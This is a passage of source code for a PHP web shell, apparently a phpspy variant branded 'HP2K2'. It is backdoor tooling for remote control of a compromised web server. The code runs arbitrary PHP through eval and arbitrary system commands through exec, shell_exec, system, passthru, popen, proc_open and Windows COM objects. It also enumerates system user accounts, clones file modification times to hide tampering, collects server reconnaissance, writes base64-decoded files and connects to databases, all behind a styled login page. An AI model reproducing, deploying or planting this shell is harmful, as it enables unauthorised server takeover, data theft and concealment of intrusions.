2244while ($i < 60000) {
2245
2246 $line = posix_getpwuid($i);
2247 if (!empty($line)) {
2248
2249 while (list ($key, $vba_etcpwd) = each($line)){
2250 echo "".$vba_etcpwd."\n";
2251 break;
2252 }
2253
2254 }
2255
2256 $i++;
2257}
2258 echo "</textarea></p>";
2259 formfoot();
2260}
2261
2262elseif ($action == 'eval') {
2263 $phpcode = trim($phpcode);
2264 if($phpcode){
2265 if (!preg_match('#<\?#si', $phpcode)) {
2266 $phpcode = "<?php\n\n{$phpcode}\n\n?>";
2267 }
2268 eval("?".">$phpcode<?");
2269 }
2270 formhead(array('title'=>'Eval PHP Code'));
2271 makehide('action','eval');
2272 maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));
2273 p('<p><a href="http://www.4ngel.net/phpspy/plugin/" target="_blank">Get plugins</a></p>');
2274 formfooter();
2275}//end eval
2276
2277elseif ($action == 'editfile') {
2278 if(file_exists($opfile)) {
2279 $fp=@fopen($opfile,'r');
2280 $contents=@fread($fp, filesize($opfile));
2281 @fclose($fp);
2282 $contents=htmlspecialchars($contents);
2283 }
2284 formhead(array('title'=>'Create / Edit File'));
2285 makehide('action','file');
2286 makehide('dir',$nowpath);
2287 makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));
2288 maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));
2289 formfooter();
2290}//end editfile
2291
2292elseif ($action == 'newtime') {
2293 $opfilemtime = @filemtime($opfile);
2294 //$time = strtotime("$year-$month-$day $hour:$minute:$second");
2295 $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);
2296 formhead(array('title'=>'Clone file was last modified time'));
2297 makehide('action','file');
2298 makehide('dir',$nowpath);
2299 makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
2300 makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));
2301 formfooter();
2302 formhead(array('title'=>'Set last modified'));
2303 makehide('action','file');
2304 makehide('dir',$nowpath);
2305 makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
2306 p('<p>Instead »');
2307 p('year:');
2308 makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));
2309 p('month:');
2310 makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));
2311 p('day:');
2312 makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));
2313 p('hour:');
2314 makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));
2315 p('minute:');
2316 makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));
2317 p('second:');
2318 makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));
2319 p('</p>');
2320 formfooter();
2321}//end newtime
2322
2323elseif ($action == 'shell') {
2324 if (IS_WIN && IS_COM) {
2325 if($program && $parameter) {
2326 $shell= new COM('Shell.Application');
2327 $a = $shell->ShellExecute($program,$parameter);
2328 m('Program run has '.(!$a ? 'success' : 'fail'));
2329 }
2330 !$program && $program = 'c:\windows\system32\cmd.exe';
2331 !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';
2332 formhead(array('title'=>'Execute Program'));
2333 makehide('action','shell');
2334 makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));
2335 p('<p>');
2336 makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));
2337 makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
2338 p('</p>');
2339 formfoot();
2340 }
2341 formhead(array('title'=>'Execute Command'));
2342 makehide('action','shell');
2343 if (IS_WIN && IS_COM) {
2344 $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');
2345 makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));
2346 }
2347 p('<p>');
2348 makeinput(array('title'=>'Command','name'=>'command','value'=>$command));
2349 makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
2350 p('</p>');
2351 formfoot();
2352
2353 if ($command) {
2354 p('<hr width="100%" noshade /><pre>');
2355 if ($execfunc=='wscript' && IS_WIN && IS_COM) {
2356 $wsh = new COM('WScript.shell');
2357 $exec = $wsh->exec('cmd.exe /c '.$command);
2358 $stdout = $exec->StdOut();
2359 $stroutput = $stdout->ReadAll();
2360 echo $stroutput;
2361 } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
2362 $descriptorspec = array(
2363 0 => array('pipe', 'r'),
2364 1 => array('pipe', 'w'),
2365 2 => array('pipe', 'w')
2366 );
2367 $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
2368 if (is_resource($process)) {
2369 fwrite($pipes[0], $command."\r\n");
2370 fwrite($pipes[0], "exit\r\n");
2371 fclose($pipes[0]);
2372 while (!feof($pipes[1])) {
2373 echo fgets($pipes[1], 1024);
2374 }
2375 fclose($pipes[1]);
2376 while (!feof($pipes[2])) {
2377 echo fgets($pipes[2], 1024);
2378 }
2379 fclose($pipes[2]);
2380 proc_close($process);
2381 }
2382 } else {
2383 echo(execute($command));
2384 }
2385 p('</pre>');
2386 }
2387}//end shell
2388
2389elseif ($action == 'phpenv') {
2390 $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';
2391 $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');
2392 !$dis_func && $dis_func = 'No';
2393 $info = array(
2394 1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),
2395 2 => array('Server Domain',$_SERVER['SERVER_NAME']),
2396 3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),
2397 4 => array('Server OS',PHP_OS),
2398 5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),
2399 6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),
2400 7 => array('Server Web Port',$_SERVER['SERVER_PORT']),
2401 8 => array('PHP run mode',strtoupper(php_sapi_name())),
2402 9 => array('The file path',__FILE__),
2403
2404 10 => array('PHP Version',PHP_VERSION),
2405 11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')),
2406 12 => array('Safe Mode',getcfg('safe_mode')),
2407 13 => array('Administrator',$adminmail),
2408 14 => array('allow_url_fopen',getcfg('allow_url_fopen')),
2409 15 => array('enable_dl',getcfg('enable_dl')),
2410 16 => array('display_errors',getcfg('display_errors')),
2411 17 => array('register_globals',getcfg('register_globals')),
2412 18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),
2413 19 => array('memory_limit',getcfg('memory_limit')),
2414 20 => array('post_max_size',getcfg('post_max_size')),
2415 21 => array('upload_max_filesize',$upsize),
2416 22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),
2417 23 => array('disable_functions',$dis_func),
2418 );
2419
2420 if($phpvarname) {
2421 m($phpvarname .' : '.getcfg($phpvarname));
2422 }
2423
2424 formhead(array('title'=>'Server environment'));
2425 makehide('action','phpenv');
2426 makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));
2427 formfooter();
2428
2429 $hp = array(0=> 'Server', 1=> 'PHP');
2430 for($a=0;$a<2;$a++) {
2431 p('<h2>'.$hp[$a].' »</h2>');
2432 p('<ul class="info">');
2433 if ($a==0) {
2434 for($i=1;$i<=9;$i++) {
2435 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
2436 }
2437 } elseif ($a == 1) {
2438 for($i=10;$i<=23;$i++) {
2439 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
2440 }
2441 }
2442 p('</ul>');
2443 }
2444}//end phpenv
2445
2446else {
2447 m('Undefined Action');
2448}
2449
2450?>
2451</td></tr></table>
2452
2453<div style="padding:10px;border-bottom:1px solid #0E0E0E;border-top:1px solid #0E0E0E;background:#0E0E0E;">
2454 <span style="float:right;"><?php debuginfo();ob_end_flush();?></span>
2455 Copyright (C) 2015 <B></B> - Develop by <a href=https://www.facebook.com/profile.php?id=100011074965700 target=_blank><B>HP2K2 </B></a> - <B>All Rights Reserved.</B>
2456</div>
2457</body>
2458</html>
2459
2460<?php
2461
2462/*======================================================
2463Show info shell
2464======================================================*/
2465
2466function m($msg) {
2467 echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';
2468 echo $msg;
2469 echo '</div>';
2470}
2471function scookie($key, $value, $life = 0, $prefix = 1) {
2472 global $admin, $timestamp, $_SERVER;
2473 $key = ($prefix ? $admin['cookiepre'] : '').$key;
2474 $life = $life ? $life : $admin['cookielife'];
2475 $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
2476 setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
2477}
2478function multi($num, $perpage, $curpage, $tablename) {
2479 $multipage = '';
2480 if($num > $perpage) {
2481 $page = 10;
2482 $offset = 5;
2483 $pages = @ceil($num / $perpage);
2484 if($page > $pages) {
2485 $from = 1;
2486 $to = $pages;
2487 } else {
2488 $from = $curpage - $offset;
2489 $to = $curpage + $page - $offset - 1;
2490 if($from < 1) {
2491 $to = $curpage + 1 - $from;
2492 $from = 1;
2493 if(($to - $from) < $page && ($to - $from) < $pages) {
2494 $to = $page;
2495 }
2496 } elseif($to > $pages) {
2497 $from = $curpage - $pages + $to;
2498 $to = $pages;
2499 if(($to - $from) < $page && ($to - $from) < $pages) {
2500 $from = $pages - $page + 1;
2501 }
2502 }
2503 }
2504 $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');
2505 for($i = $from; $i <= $to; $i++) {
2506 $multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';
2507 }
2508 $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');
2509 $multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';
2510 }
2511 return $multipage;
2512}
2513// Login page
2514
2515function loginpage() {
2516
2517?>
2518
2519<html>
2520
2521<head>
2522
2523
2524
2525
2526
2527
2528
2529 <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
2530<div class="clock">
2531<div id="Date"></div>
2532 <ul>
2533 <li id="hours"></li>
2534 <li id="point">:</li>
2535 <li id="min"></li>
2536 <li id="point">:</li>
2537 <li id="sec"></li>
2538 </ul>
2539 <body bgcolor="black"></body>
2540</div>
2541 <style type="text/css">
2542 @font-face {
2543 font-family: 'BebasNeueRegular';
2544 src: url('BebasNeue-webfont.eot');
2545 src: url('BebasNeue-webfont.eot?#iefix') format('embedded-opentype'),
2546 url('BebasNeue-webfont.woff') format('woff'),
2547 url('BebasNeue-webfont.ttf') format('truetype'),
2548 url('BebasNeue-webfont.svg#BebasNeueRegular') format('svg');
2549 font-weight: normal;
2550 font-style: normal;
2551}
2552.clock {
2553 width: 800px;
2554 margin: 0 auto;
2555 padding: 30px;
2556 border: 1px solid #333;
2557 color: #fff;
2558}
2559
2560#Date {
2561 font-family: 'BebasNeueRegular', Arial, Helvetica, sans-serif;
2562 font-size: 36px;
2563 text-align: center;
2564 text-shadow: 0 0 5px #00c6ff;
2565}
2566
2567ul {
2568 width: 800px;
2569 margin: 0 auto;
2570 padding: 0px;
2571 list-style: none;
2572 text-align: center;
2573}
2574
2575ul li {
2576 display: inline;
2577 font-size: 10em;
2578 text-align: center;
2579 font-family: 'BebasNeueRegular', Arial, Helvetica, sans-serif;
2580 text-shadow: 0 0 5px #00c6ff;
2581}
2582
2583#point {
2584 position: relative;
2585 -moz-animation: mymove 1s ease infinite;
2586 -webkit-animation: mymove 1s ease infinite;
2587 padding-left: 10px;
2588 padding-right: 10px;
2589}
2590@-webkit-keyframes mymove {
2591 0% {opacity: 1.0;
2592 text-shadow: 0 0 20px #00c6ff;
2593}
2594
259550% {
2596 opacity: 0;
2597 text-shadow: none;
2598}
2599
2600100% {
2601 opacity: 1.0;
2602 text-shadow: 0 0 20px #00c6ff;
2603}
2604}
2605
2606@-moz-keyframes mymove {
2607 0% {
2608 opacity: 1.0;
2609 text-shadow: 0 0 20px #00c6ff;
2610 }
2611
2612 50% {
2613 opacity: 0;
2614 text-shadow: none;
2615 }
2616
2617 100% {
2618 opacity: 1.0;
2619 text-shadow: 0 0 20px #00c6ff;
2620 };
2621}
2622</style>
2623<script type="text/javascript" src="http://code.jquery.com/jquery-1.6.4.min.js"></script>
2624<script type="text/javascript">
2625$(document).ready(function() {
2626// Tao 2 mang chua ten ngay thang
2627var monthNames = [ "January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December" ];
2628var dayNames= ["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"]
2629
2630// Tao moi doi tuong Date()
2631var newDate = new Date();
2632// Lay gia tri thoi gian hien tai
2633newDate.setDate(newDate.getDate());
2634// Xuat ngay thang, nam
2635$('#Date').html(dayNames[newDate.getDay()] + " " + newDate.getDate() + ' ' + monthNames[newDate.getMonth()] + ' ' + newDate.getFullYear());
2636
2637setInterval( function() {
2638 // lay gia tri giay trong doi tuong Date()
2639 var seconds = new Date().getSeconds();
2640 // Chen so 0 vao dang truoc gia tri giay
2641 $("#sec").html(( seconds < 10 ? "0" : "" ) + seconds);
2642 },1000);
2643
2644setInterval( function() {
2645 // Tuong tu lay gia tri phut
2646 var minutes = new Date().getMinutes();
2647 // Chen so 0 vao dang truoc gia tri phut neu gia tri hien tai nho hon 10
2648 $("#min").html(( minutes < 10 ? "0" : "" ) + minutes);
2649 },1000);
2650
2651setInterval( function() {
2652 // Lay gia tri gio hien tai
2653 var hours = new Date().getHours();
2654 // Chen so 0 vao truoc gia tri gio neu gia tri nho hon 10
2655 $("#hours").html(( hours < 10 ? "0" : "" ) + hours);
2656 }, 1000);
2657});
2658</script>
2659<div align="center">
2660 <div>
2661 <form method="POST" action="" class="form-3">
2662 <p class="clearfix">
2663 <label for="login">Username</label>
2664 <input type="text" placeholder="Username">
2665 </p>
2666 <p class="clearfix">
2667 <label for="password">Password</label>
2668 <input type="password" name="password" id="password" placeholder="Password">
2669 <input type="hidden" name="doing" value="login">
2670 <input type="submit" name="submit" value="HP2K2">
2671 </p>
2672 </form>
2673 <br>
2674 </font></div>
2675
2676 </font></div>
2677 <style>
2678 /* GLOBALS */
2679
2680*,
2681*:after,
2682*:before {
2683 -webkit-box-sizing: border-box;
2684 -moz-box-sizing: border-box;
2685 -ms-box-sizing: border-box;
2686 -o-box-sizing: border-box;
2687 box-sizing: border-box;
2688 padding: 0;
2689 margin: 0;
2690}
2691
2692.clearfix:after {
2693 content: "";
2694 display: table;
2695 clear: both;
2696}
2697
2698.form-3 {
2699 font-family: 'Ubuntu', 'Lato', sans-serif;
2700 font-weight: 400;
2701 /* Size and position */
2702 width: 300px;
2703 position: relative;
2704 margin: 60px auto 30px;
2705 padding: 10px;
2706 overflow: hidden;
2707
2708 /* Styles */
2709 background: #111;
2710 border-radius: 0.4em;
2711 border: 1px solid #191919;
2712 box-shadow:
2713 inset 0 0 2px 1px rgba(255,255,255,0.08),
2714 0 16px 10px -8px rgba(0, 0, 0, 0.6);
2715}
2716
2717.form-3 label {
2718 /* Size and position */
2719 width: 50%;
2720 float: left;
2721 padding-top: 9px;
2722
2723 /* Styles */
2724 color: #ddd;
2725 font-size: 12px;
2726 text-transform: uppercase;
2727 letter-spacing: 1px;
2728 text-shadow: 0 1px 0 #000;
2729 text-indent: 10px;
2730 font-weight: 700;
2731 cursor: pointer;
2732}
2733
2734.form-3 input[type=text],
2735.form-3 input[type=password] {
2736 /* Size and position */
2737 width: 50%;
2738 float: left;
2739 padding: 8px 5px;
2740 margin-bottom: 10px;
2741 font-size: 12px;
2742
2743 /* Styles */
2744 background: linear-gradient(#1f2124, #27292c);
2745 border: 1px solid #000;
2746 box-shadow:
2747 0 1px 0 rgba(255,255,255,0.1);
2748 border-radius: 3px;
2749
2750 /* Font styles */
2751 font-family: 'Ubuntu', 'Lato', sans-serif;
2752 color: #fff;
2753
2754}
2755
2756.form-3 input[type=text]:hover,
2757.form-3 input[type=password]:hover,
2758.form-3 label:hover ~ input[type=text],
2759.form-3 label:hover ~ input[type=password] {
2760 background: #27292c;
2761}
2762
2763.form-3 input[type=text]:focus,
2764.form-3 input[type=password]:focus {
2765 box-shadow: inset 0 0 2px #000;
2766 background: #494d54;
2767 border-color: #51cbee;
2768 outline: none; /* Remove Chrome outline */
2769}
2770
2771.form-3 p:nth-child(3),
2772.form-3 p:nth-child(4) {
2773 float: left;
2774 width: 50%;
2775}
2776
2777.form-3 label[for=remember] {
2778 width: auto;
2779 float: none;
2780 display: inline-block;
2781 text-transform: capitalize;
2782 font-size: 11px;
2783 font-weight: 400;
2784 letter-spacing: 0px;
2785 text-indent: 2px;
2786}
2787
2788.form-3 input[type=checkbox] {
2789 margin-left: 10px;
2790 vertical-align: middle;
2791}
2792
2793.form-3 input[type=submit] {
2794 /* Width and position */
2795 width: 100%;
2796 padding: 8px 5px;
2797
2798 /* Styles */
2799 border: 1px solid #0273dd; /* Fallback */
2800 border: 1px solid rgba(0,0,0,0.4);
2801 box-shadow:
2802 inset 0 1px 0 rgba(255,255,255,0.3),
2803 inset 0 10px 10px rgba(255,255,255,0.1);
2804 border-radius: 3px;
2805 background: #38a6f0;
2806 cursor:pointer;
2807
2808 /* Font styles */
2809 font-family: 'Ubuntu', 'Lato', sans-serif;
2810 color: white;
2811 font-weight: 700;
2812 font-size: 15px;
2813 text-shadow: 0 -1px 0 rgba(0,0,0,0.8);
2814}
2815
2816.form-3 input[type=submit]:hover {
2817 box-shadow: inset 0 1px 0 rgba(255,255,255,0.6);
2818}
2819
2820.form-3 input[type=submit]:active {
2821 background: #287db5;
2822 box-shadow: inset 0 0 3px rgba(0,0,0,0.6);
2823 border-color: #000; /* Fallback */
2824 border-color: rgba(0,0,0,0.9);
2825}
2826
2827.no-boxshadow .form-3 input[type=submit]:hover {
2828 background: #2a92d8;
2829}
2830
2831/* Gradient line */
2832.form-3:after {
2833 /* Size and position */
2834 content: "";
2835 height: 1px;
2836 width: 33%;
2837 position: absolute;
2838 left: 20%;
2839 top: 0;
2840
2841 /* Styles */
2842 background: linear-gradient(left, transparent, #444, #b6b6b8, #444, transparent);
2843}
2844
2845/* Small flash */
2846.form-3:before {
2847 /* Size and position */
2848 content: "";
2849 width: 8px;
2850 height: 5px;
2851 position: absolute;
2852 left: 34%;
2853 top: -7px;
2854
2855 /* Styles */
2856 border-radius: 50%;
2857 box-shadow: 0 0 6px 4px #fff;
2858}
2859
2860.form-3 p:nth-child(1):before{
2861 /* Size and position */
2862 content: "";
2863 width: 250px;
2864 height: 100px;
2865 position: absolute;
2866 top: 0;
2867 left: 45px;
2868
2869 /* Styles */
2870 transform: rotate(75deg);
2871 background: linear-gradient(50deg, rgba(255,255,255,0.15), rgba(0,0,0,0));
2872 pointer-events: none;
2873}
2874
2875.no-pointerevents .form-3 p:nth-child(1):before {
2876 display: none;
2877}
2878</style>
2879<aside class="container">
2880 <input type="checkbox" id="menu__trigger">
2881 <section class="menu">
2882 <!--<label for="menu__trigger" class="entypo-cancel"></label>-->
2883 <nav>
2884 <a href="https://www.facebook.com/profile.php?id=100011074965700">1. Facebook</a>
2885 <a href="https://www.facebook.com/profile.php?id=100011074965700">2. Clone</a>
2886 <a href="http://google.com">3. Website</a>
2887 <a href="https://www.youtube.com/channel/UCiQ9ZT6xuvtRQDKfzHRrehQ">4. Youtube</a>
2888 <a href="https://google.com">5. Google</a>
2889 <a href="/">6. Trang chủ</a>
2890 </nav>
2891 </section>
2892
2893 <section class="content">
2894 <label for="menu__trigger" class="entypo-menu"></label>
2895 </section>
2896</aside>
2897<style>
2898[class*="entypo-"]:before {
2899 font-family: 'entypo', sans-serif;
2900}
2901[class*="entypo-"]:before {
2902 font-family: 'entypo', sans-serif;
2903}
2904
2905html {
2906 min-height: 100%;
2907 min-width: 100%;
2908}
2909html body {
2910 min-height: 100%;
2911 min-width: 100%;
2912 font-family: 'Lato', sans-serif;
2913}
2914
2915html body input[type="checkbox"] {
2916 position: absolute;
2917 height: 0;
2918 width: 0;
2919 display: none;
2920}
2921html body input[type="checkbox"]:checked ~ .menu nav a {
2922 -webkit-transform: translate3d(0px, 0, 0) rotateY(0deg);
2923 transform: translate3d(0px, 0, 0) rotateY(0deg);
2924 -webkite-transform-style: preserve-3d;
2925 transform-style: preserve-3d;
2926 -webkit-transition: all .4s ease-in-out;
2927 transition: all .4s ease-in-out;
2928 background: #252525;
2929 color: #fff;
2930}
2931html body input[type="checkbox"]:checked ~ .menu nav a:nth-child(2) {
2932 -webkit-transition-delay: .1s;
2933 transition-delay: .1s;
2934}
2935html body input[type="checkbox"]:checked ~ .menu nav a:nth-child(3) {
2936 -webkit-transition-delay: .2s;
2937 transition-delay: .2s;
2938}
2939html body input[type="checkbox"]:checked ~ .menu nav a:nth-child(4) {
2940 -webkit-transition-delay: .3s;
2941 transition-delay: 0.3s;
2942}
2943html body input[type="checkbox"]:checked ~ .menu nav a:nth-child(5) {
2944 -webkit-transition-delay: .4s;
2945 transition-delay: .4s;
2946}
2947html body input[type="checkbox"]:checked ~ .menu nav a:nth-child(6) {
2948 -webkit-transition-delay: .5s;
2949 transition-delay: 0.5s;
2950}
2951html body input[type="checkbox"]:checked ~ .menu nav a:nth-child(7) {
2952 -webkit-transition-delay: .6s;
2953 transition-delay: 0.6s;
2954}
2955html body input[type="checkbox"]:checked ~ .menu nav a:nth-child(8) {
2956 -webkit-transition-delay: .7s;
2957 transition-delay: 0.7s;
2958}
2959html body section.menu {
2960 position: fixed;
2961 z-index: 10;
2962 top: 0;
2963 bottom: 0;
2964 min-height: 100%;
2965}
2966html body section.menu nav {
2967 padding-top: 4rem;
2968 -webkit-perspective: 20rem;
2969 perspective: 20rem;
2970}
2971html body section.menu nav a {
2972 display: block;
2973 width: 12rem;
2974 padding: 1.25rem 0rem 1.25rem 1.75rem;
2975 background: #222;
2976 border-bottom: 1px solid #2a2a2a;
2977 box-shadow: 2px 2px 2px rgba(0, 0, 0, 0.15), inset 2px 0 0 #fff;
2978 color: #fff;
2979 letter-spacing: 1.5px;
2980 font-weight: 300;
2981 font-size: 1.25rem;
2982 text-decoration: none;
2983 -webkit-transform: translate3d(-100%, 0, 0) rotateY(90deg);
2984 transform: translate3d(-100%, 0, 0) rotateY(90deg);
2985 -webkit-transform-origin: 0% 50%;
2986 transform-origin: 0% 50%;
2987 -webkit-transform-style: preserve-3d;
2988 transform-style: preserve-3d;
2989 -webkit-transition: all .25s ease-in-out;
2990 transition: all .25s ease-in-out;
2991}
2992html body section.menu nav a:nth-child(1) {
2993 -webkit-transition-delay: .235s;
2994 transition-delay: .235s;
2995}
2996html body section.menu nav a:nth-child(2) {
2997 -webkit-transition-delay: .2s;
2998 transition-delay: .2s;
2999}
3000html body section.menu nav a:nth-child(3) {
3001 -webkit-transition-delay: .165s;
3002 transition-delay: .165s;
3003}
3004html body section.menu nav a:nth-child(4) {
3005 -webkit-transition-delay: .13s;
3006 transition-delay: .13s;
3007}
3008html body section.menu nav a:nth-child(5) {
3009 -webkit-transition-delay: .095s;
3010 transition-delay: .095s;
3011}
3012html body section.menu nav a:nth-child(6) {
3013 -webkit-transition-delay: .06s;
3014 transition-delay: .06s;
3015}
3016html body section.menu nav a:nth-child(7) {
3017 -webkit-transition-delay: .25s;
3018 transition-delay: .025s;
3019}
3020html body section.content label {
3021 position: fixed;
3022 z-index: 1000;
3023 padding: 1rem 1.5rem;
3024 background: #222;
3025 font-size: 2rem;
3026 line-height: 2rem;
3027 color: #fff;
3028 cursor: pointer;
3029}
3030html body section.content h1 {
3031 display: table-cell;
3032 vertical-align: middle;
3033 text-align: center;
3034 font-size: 3rem;
3035 letter-spacing: 1px;
3036 color: #fff;
3037}
3038</style>
3039<style type="text/css">body, a:hover {cursor: url(http://cur.cursors-4u.net/smilies/smi-3/smi211.cur), progress !important;}</style><a href="http://www.cursors-4u.com/cursor/2011/10/13/trollface-problem-coolface-rage-face-comics.html" target="_blank" title="Trollface / Problem? / Coolface - Rage Face Comics"><img src="http://cur.cursors-4u.net/cursor.png" border="0" alt="Trollface / Problem? / Coolface - Rage Face Comics" style="position:absolute; top: 0px; right: 0px;" /></a>
3040
3041<BR>
3042
3043
3044<?php
3045
3046echo "".$err_mess."";
3047
3048?>
3049
3050
3051
3052</div>
3053
3054
3055
3056
3057
3058 </fieldset>
3059
3060
3061
3062
3063
3064
3065
3066</head>
3067
3068</html>
3069
3070
3071
3072
3073
3074<?php
3075
3076 exit;
3077
3078
3079
3080}//end loginpage
3081
3082function execute($cfe) {
3083 $res = '';
3084 if ($cfe) {
3085 if(function_exists('exec')) {
3086 @exec($cfe,$res);
3087 $res = join("\n",$res);
3088 } elseif(function_exists('shell_exec')) {
3089 $res = @shell_exec($cfe);
3090 } elseif(function_exists('system')) {
3091 @ob_start();
3092 @system($cfe);
3093 $res = @ob_get_contents();
3094 @ob_end_clean();
3095 } elseif(function_exists('passthru')) {
3096 @ob_start();
3097 @passthru($cfe);
3098 $res = @ob_get_contents();
3099 @ob_end_clean();
3100 } elseif(@is_resource($f = @popen($cfe,"r"))) {
3101 $res = '';
3102 while(!@feof($f)) {
3103 $res .= @fread($f,1024);
3104 }
3105 @pclose($f);
3106 }
3107 }
3108 return $res;
3109}
3110function which($pr) {
3111 $path = execute("which $pr");
3112 return ($path ? $path : $pr);
3113}
3114
3115function cf($fname,$text){
3116 if($fp=@fopen($fname,'w')) {
3117 @fputs($fp,@base64_decode($text));
3118 @fclose($fp);
3119 }
3120}
3121
3122// Debug
3123function debuginfo() {
3124 global $starttime;
3125 $mtime = explode(' ', microtime());
3126 $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
3127 echo 'Processed in '.$totaltime.' second(s)';
3128}
3129
3130// Function connect database
3131function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
3132 if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {
3133 p('<h2>Can not connect to MySQL server</h2>');
3134 exit;
3135 }
3136 if($link && $dbname) {
3137 if (!@mysql_select_db($dbname, $link)) {
3138 p('<h2>Database selected has error</h2>');
3139 exit;
3140 }
3141 }
3142 if($link && mysql_get_server_info() > '4.1') {
3143 if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {
3144 q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
3145 }
3146 }
3147 return $link;
3148}
3149
3150// Array strip
3151function s_array(&$array) {
3152 if (is_array($array)) {
3153 foreach ($array as $k => $v) {
3154 $array[$k] = s_array($v);
3155 }
3156 } else if (is_string($array)) {
3157 $array = stripslashes($array);
3158 }
3159 return $array;
3160}
3161
3162// HTML Strip
3163function html_clean($content) {
3164 $content = htmlspecialchars($content);
3165 $content = str_replace("\n", "<br />", $content);
3166 $content = str_replace(" ", " ", $content);
3167 $content = str_replace("\t", " ", $content);
3168 return $content;
3169}
3170
3171// Chmod
3172function getChmod($filepath){
3173 return substr(base_convert(@fileperms($filepath),10,8),-4);
3174}
3175
3176function getPerms($filepath) {
3177 $mode = @fileperms($filepath);
3178 if (($mode & 0xC000) === 0xC000) {$type = 's';}
3179 elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}
3180 elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}
3181 elseif (($mode & 0x8000) === 0x8000) {$type = '-';}
3182 elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}
3183 elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}
3184 elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}
3185 else {$type = '?';}
3186
3187 $owner['read'] = ($mode & 00400) ? 'r' : '-';
3188 $owner['write'] = ($mode & 00200) ? 'w' : '-';
3189 $owner['execute'] = ($mode & 00100) ? 'x' : '-';
3190 $group['read'] = ($mode & 00040) ? 'r' : '-';
3191 $group['write'] = ($mode & 00020) ? 'w' : '-';
3192 $group['execute'] = ($mode & 00010) ? 'x' : '-';
3193 $world['read'] = ($mode & 00004) ? 'r' : '-';
3194 $world['write'] = ($mode & 00002) ? 'w' : '-';
3195 $world['execute'] = ($mode & 00001) ? 'x' : '-';
3196
3197 if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}
3198 if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
3199 if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}
3200
3201 return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
3202}
3203
3204function getUser($filepath) {
3205 if (function_exists('posix_getpwuid')) {
3206 $array = @posix_getpwuid(@fileowner($filepath));
3207 if ($array && is_array($array)) {
3208 return ' / <a href="#" title="User: '.$array['name'].'
